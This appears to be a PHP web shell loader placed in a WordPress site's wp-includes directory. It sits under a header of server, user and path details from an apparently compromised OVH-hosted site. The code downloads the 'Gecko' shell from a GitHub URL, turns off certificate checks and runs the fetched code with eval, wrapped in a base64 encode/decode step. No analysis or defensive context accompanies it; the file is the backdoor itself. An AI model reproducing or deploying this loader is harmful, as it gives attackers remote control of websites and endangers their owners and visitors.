|
Server : Apache System : Linux webm003.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : alotofu ( 133267) PHP Version : 8.4.10 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl Directory : /home/alotofu/www/wp-includes/ |
<?php
// Original PHP code without login functionality
$code = '<?php
session_start();
// Function to get content from a URL
function geturlsinfo($url) {
if (function_exists("curl_exec")) {
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
if (isset($_SESSION["coki"])) {
curl_setopt($conn, CURLOPT_COOKIE, $_SESSION["coki"]);
}
$url_get_contents_data = curl_exec($conn);
curl_close($conn);
} elseif (function_exists("file_get_contents")) {
$url_get_contents_data = file_get_contents($url);
} elseif (function_exists("fopen") && function_exists("stream_get_contents")) {
$handle = fopen($url, "r");
$url_get_contents_data = stream_get_contents($handle);
fclose($handle);
} else {
$url_get_contents_data = false;
}
return $url_get_contents_data;
}
// Set a default cookie value
$_SESSION["coki"] = "asu";
// Directly execute the content without login check
$a = geturlsinfo("https://raw.githubusercontent.com/MadExploits/Gecko/refs/heads/main/gecko-new.php");
eval("?>" . $a);
?>';
// Base64 encode the PHP code
$encoded_code = base64_encode($code);
// Execute the encoded code
eval('?>' . base64_decode($encoded_code));
?>